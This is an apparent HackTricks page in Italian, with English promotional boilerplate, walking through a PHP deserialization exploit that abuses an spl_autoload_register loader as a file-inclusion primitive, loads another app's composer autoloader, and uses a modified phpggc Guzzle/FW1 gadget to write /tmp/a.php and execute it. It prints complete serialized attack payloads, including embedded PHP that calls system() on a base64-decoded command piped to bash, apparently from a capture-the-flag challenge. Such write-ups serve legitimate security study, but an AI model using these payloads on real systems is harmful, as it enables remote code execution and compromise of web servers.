7.8 KiB
PHP - Deserializzazione + Classi Autoload
{% hint style="success" %}
Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Prima di tutto, dovresti controllare cosa sono le Classi Autoloading.
Deserializzazione PHP + spl_autoload_register + LFI/Gadget
Ci troviamo in una situazione in cui abbiamo trovato una deserializzazione PHP in un'app web senza nessuna libreria vulnerabile a gadget all'interno di phpggc
. Tuttavia, nello stesso contenitore c'era una diversa app web composer con librerie vulnerabili. Pertanto, l'obiettivo era caricare il loader composer dell'altra app web e abusarne per caricare un gadget che sfrutterà quella libreria con un gadget dall'app web vulnerabile alla deserializzazione.
Passi:
- Hai trovato una deserializzazione e non ci sono gadget nel codice dell'app attuale
- Puoi abusare di una funzione
spl_autoload_register
come la seguente per caricare qualsiasi file locale con estensione.php
- Per questo usi una deserializzazione in cui il nome della classe sarà all'interno di
$name
. Non puoi usare "/" o "." in un nome di classe in un oggetto serializzato, ma il codice sta sostituendo gli underscore ("_") con slash ("/"). Quindi un nome di classe cometmp_passwd
sarà trasformato in/tmp/passwd.php
e il codice cercherà di caricarlo.
Un esempio di gadget sarà:O:10:"tmp_passwd":0:{}
spl_autoload_register(function ($name) {
if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}
$filename = "/${name}.php";
if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});
{% hint style="success" %}
Se hai un upload di file e puoi caricare un file con estensione .php
, potresti sfruttare questa funzionalità direttamente e ottenere già RCE.
{% endhint %}
Nel mio caso, non avevo nulla di simile, ma c'era all'interno dello stesso container un'altra pagina web di composer con una libreria vulnerabile a un gadget phpggc
.
- Per caricare questa altra libreria, prima devi caricare il loader di composer di quell'altra web app (perché quello dell'applicazione corrente non accederà alle librerie dell'altra). Conoscendo il percorso dell'applicazione, puoi ottenere questo molto facilmente con:
O:28:"www_frontend_vendor_autoload":0:{}
(Nel mio caso, il loader di composer si trovava in/www/frontend/vendor/autoload.php
) - Ora puoi caricare il loader di composer dell'altra app, quindi è tempo di
generare il payload phpgcc
da utilizzare. Nel mio caso, ho usatoGuzzle/FW1
, che mi ha permesso di scrivere qualsiasi file all'interno del filesystem. - NOTA: Il gadget generato non funzionava, affinché funzionasse ho modificato quel payload
chain.php
di phpggc e impostato tutti gli attributi delle classi da privati a pubblici. Altrimenti, dopo aver deserializzato la stringa, gli attributi degli oggetti creati non avevano valori. - Ora abbiamo il modo di caricare il loader di composer dell'altra app e avere un payload phpggc che funziona, ma dobbiamo fare questo nella STESSA RICHIESTA affinché il loader venga caricato quando il gadget viene utilizzato. Per questo, ho inviato un array serializzato con entrambi gli oggetti come:
- Puoi vedere prima il loader che viene caricato e poi il payload
{% code overflow="wrap" %}
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
{% endcode %}
- Ora possiamo creare e scrivere un file, tuttavia, l'utente non poteva scrivere in nessuna cartella all'interno del server web. Quindi, come puoi vedere nel payload, PHP chiama
system
con alcuni base64 creati in/tmp/a.php
. Poi, possiamo riutilizzare il primo tipo di payload che abbiamo usato come LFI per caricare il caricatore di composer dell'altra webapp per caricare il file generato/tmp/a.php
. Basta aggiungerlo al gadget di deserializzazione:
{% code overflow="wrap" %}
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
{% endcode %}
Riepilogo del payload
- Carica l'autoload di composer di un'altra webapp nello stesso container
- Carica un gadget phpggc per abusare di una libreria dell'altra webapp (la webapp iniziale vulnerabile alla deserializzazione non aveva alcun gadget nelle sue librerie)
- Il gadget creerà un file con un payload PHP in /tmp/a.php con comandi malevoli (l'utente della webapp non può scrivere in nessuna cartella di nessuna webapp)
- L'ultima parte del nostro payload utilizzerà caricare il file php generato che eseguirà comandi
Ho dovuto chiamare questa deserializzazione due volte. Nei miei test, la prima volta il file /tmp/a.php
è stato creato ma non caricato, e la seconda volta è stato caricato correttamente.
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.